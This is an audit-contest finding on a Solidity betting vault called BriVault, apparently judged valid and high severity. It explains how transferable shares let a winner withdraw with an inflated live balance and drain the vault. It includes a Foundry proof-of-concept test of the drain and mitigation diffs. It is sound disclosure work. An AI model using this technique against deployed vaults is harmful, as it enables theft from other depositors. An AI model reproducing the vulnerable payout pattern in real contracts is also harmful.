BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Transfer shares to a winner to inflate payout

neomartis

Transfer shares to a winner to inflate payout

Description

  • Normal behavior: After finalization, each winner withdraws strictly according to the snapshot of their winning shares at the time the winner is set. Moving shares between addresses after finalization should not change any address’s entitled payout.

  • Issue: The vault pays winners using the live balanceOf(msg.sender) at withdrawal time, while the denominator totalWinnerShares is snapshotted at setWinner. Shares are freely transferable (ERC20). A loser can transfer their shares to a winning address after setWinner to inflate the winner’s numerator without increasing the denominator, allowing the winner to withdraw more than their fair share and drain the vault, preventing other winners from claiming.

// @> shares are ERC20 transferable (via ERC4626 inheritance)
contract BriVault is ERC4626, Ownable { /* ERC20 transfers enabled by default */ }
function withdraw() external winnerSet {
...
// @> winners are paid using live balance at withdrawal time
uint256 shares = balanceOf(msg.sender);
...
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
// @> totalWinnerShares is computed from per-user snapshot recorded at join
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood: High

  • Any loser can transfer shares to a winner after finalization; nothing prevents transfers.

  • No linkage between payout shares and the snapshot recorded at join; numerator is manipulable.

Impact: High

  • A single winner can drain the vault by aggregating transferred shares, leaving other winners unable to claim.

  • Having at least one winner can be enforced by joining multiple addresses with small deposits

  • Any winner can drain the whole vault when having enough tokens (or using a flash loan)

  • Final distribution becomes first-come-first-serve and unfair, breaks game integrity.

Proof of Concept

Description:

  • user1 (small deposit) and user2 (large deposit) join the eventual winning country. In reality the person can join with 42 addresses, ensuring at least one will be the winner

  • After setWinner, user2 (the one with a big deposit) transfers his shares to user1 (the winner).

  • user1 withdraws using an inflated live balance:

    • denominator is unchanged

    • total shares of the user is inflated, if done correctly to have enough shares for the whole payout

  • user1 receives all the funds, leaving the vault empty

  • any other claims are reverted as there are no more funds

function testTransferSharesOnLoss() public {
vm.prank(owner);
briVault.setCountry(countries);
​
// User 1: small deposit
vm.startPrank(user1);
mockToken.approve(address(briVault), 0.1 ether);
briVault.deposit(0.1 ether, user1);
briVault.joinEvent(8);
vm.stopPrank();
​
// User 2: large deposit
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(7);
vm.stopPrank();
​
// User 3 a random user who also will win, but cannot claim
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user3);
briVault.joinEvent(8);
vm.stopPrank();
​
// Ending the game
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(8);
vm.stopPrank();
​
// User 2 will transfer shares to user 1
vm.startPrank(user2);
briVault.transfer(user1, briVault.balanceOf(user2));
vm.stopPrank();
​
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
​
// User 1 should have received more than the expected payout
console.log("balance user 1", mockToken.balanceOf(user1));
// 29 848500000 000000000 (User 1 won 10 ether, 5 from user 2 and 5 from user 3, even though user 3 also won)
console.log("tokens left in the vault", mockToken.balanceOf(address(briVault)));
// 0
​
// No more assets in the vault
assertEq(mockToken.balanceOf(address(briVault)), 0);
}

Recommended Mitigation

  • Pay out based on the snapshot of winning shares, not the live balance. Use userSharesToCountry[msg.sender][winnerCountryId] when computing the numerator, and zero it out after withdrawal to prevent double-claim.

  • Optionally, freeze share transfers after setWinner (or after eventStartDate) to reduce surface. If freezing transfers, override ERC20 transfer/transferFrom to revert while _setWinner is true.

// Use snapshot value for payout rather than live balance
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
+ require(shares != 0, "no winning shares");
​
// After paying out, clear the snapshot for this user to prevent re-use
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
+ userSharesToCountry[msg.sender][winnerCountryId] = 0;

Optional transfer freeze:

+ function transfer(address to, uint256 value) public override returns (bool) {
+ require(!_setWinner, "transfers disabled after finalization");
+ return super.transfer(to, value);
+ }
​
+ function transferFrom(address from, address to, uint256 value) public override returns (bool) {
+ require(!_setWinner, "transfers disabled after finalization");
+ return super.transferFrom(from, to, value);
+ }
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!